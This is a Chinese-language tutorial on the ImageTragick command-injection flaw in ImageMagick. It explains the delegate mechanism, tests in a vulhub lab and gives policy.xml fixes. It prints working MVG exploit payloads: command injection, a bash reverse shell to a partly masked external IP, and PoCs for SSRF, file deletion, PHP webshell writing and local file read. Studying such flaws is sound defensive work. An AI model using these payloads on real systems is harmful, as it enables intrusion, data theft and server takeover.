Imagetragick介紹:
ImageMagick是一款使用量很廣的圖片處理程序,很多廠商都調用了這個程序進行圖片處理,包括圖片的伸縮、切割、水印、格式轉換等等。
但近來有研究者發現,當用戶傳入一個包含『畸形內容』的圖片的時候,就有可能觸發命令注入漏洞。
命令執行漏洞是出在 ImageMagick 對 https 形式的文件處理的過程中。
ImageMagick 之所以支持那么多的文件格式, 是因為它內置了非常多的圖像處理庫, 對於這些圖像處理庫, ImageMagick 給它起了個名字叫做”Delegate”(委托), 每個 Delegate 對應一種格式的文件, 然后通過系統的 system() 命令來調用外部的 lib 進行處理。調用外部 lib 的過程是使用系統的 system 命令來執行的,導致命令執行的代碼。
ImageMagick 委托的默認配置文件: /etc/ImageMagick/delegates.xml,類似以下這種定義格式:
比如針對https是的delegate如下所示:
wget"-q -O"%o""https:%M
實際上的command中的%m意思是輸入的 url 地址,但是由於只是做了簡單的字符串拼接, 沒有做任何過濾,直接拼接到 command 命令中,可以將引號閉合后通過 "|",”`”,”&” 等帶入其他命令, 也就形成了命令注入。
比如傳入以下代碼:
https://example.com"|ls"-al
將形成:
"wget" -q -O "%o" "https://example.com"|ls "-al"
這樣將成功執行命令。
用vulhub上的環境進行測試,vul.jpg的內容如下:
push 和 pop 是用於堆棧的操作,一個進棧,一個出棧; viewbox 是表示 SVG 可見區域的大小,或者可以想象成舞台大小,畫布大小。簡單理解就是根據后面得參數選取其中得一部分畫面; fill url() 是把圖片填充到當前元素內; 在其中我們使用了 fill url() 的形式調用存在漏洞的 https delegate, 當 ImageMagick 去處理這個文件時, 漏洞就會被觸發。
以上是對payload的解釋
ImageMagick 默認支持一種圖片格式,叫 mvg,而 mvg 與 svg 格式類似,其中是以文本形式寫入矢量圖的內容,
允許在其中加載 ImageMagick 中其他的delegate(比如存在漏洞的 https delegate)。並且在圖形處理的過程中,
ImageMagick 會自動根據其內容進行處理, 也就是說我們可以將文件隨意定義為 png、jpg 等網站上傳允許的格式, 這大大增加了漏洞的可利用場景。
這里我們直接通過反引號來執行了命令
也可以更改payload用來反彈shell:
image over這個payload彈shell和curl貌似不能回顯命令的執行結果,得換個payload:
nc.png內容為:
push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/1.jpg"|bash -i >& /dev/tcp/45.xxx.xxx.23/2233 0>&1")' pop graphic-context
其他幾個相關CVE的poc:
CVE-2016-3718
利用mvg格式中可以包含url的特點,進行SSRF攻擊,POC如下:
push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
CVE-2016-3715
利用ImageMagick支持的ephemeral協議,來刪除任意文件:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'ephemeral:/tmp/delete.txt' popgraphic-context
CVE-2016-3716
利用ImageMagick支持的msl協議,來進行文件的讀取和寫入。利用這個漏洞,可以將任意文件寫為任意文件,比如將圖片寫為一個.php后綴的webshell。
file_move.mvg -=-=-=-=-=-=-=-=- push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'msl:/tmp/msl.txt' popgraphic-context /tmp/msl.txt -=-=-=-=-=-=-=-=- <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="/tmp/image.gif" /> <write filename="/var/www/shell.php" /> </image>
CVE-2016-3717
可以造成本地文件讀取漏洞:
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/hosts' pop graphic-context
PHP擴展『ImageMagick』也存在這個問題,而且只需要調用了Imagick類的構造方法,即可觸發這個漏洞,poc與上面說的一樣。
<?php new Imagick('vul.gif');
這里因為命令結果是不回顯的,所以需要帶外信道,比如ceye
修復:
1.升級或使用php的GD庫
2.使用policy file來防御這個漏洞,這個文件默認位置在 /etc/ImageMagick/policy.xml ,我們通過配置如下的xml來禁止解析https等敏感操作:
<policymap> <policy domain="coder" rights="none" pattern="EPHEMERAL" /> <policy domain="coder" rights="none" pattern="URL" /> <policy domain="coder" rights="none" pattern="HTTPS" /> <policy domain="coder" rights="none" pattern="MVG" /> <policy domain="coder" rights="none" pattern="MSL" /> </policymap>
參考:
https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html
http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html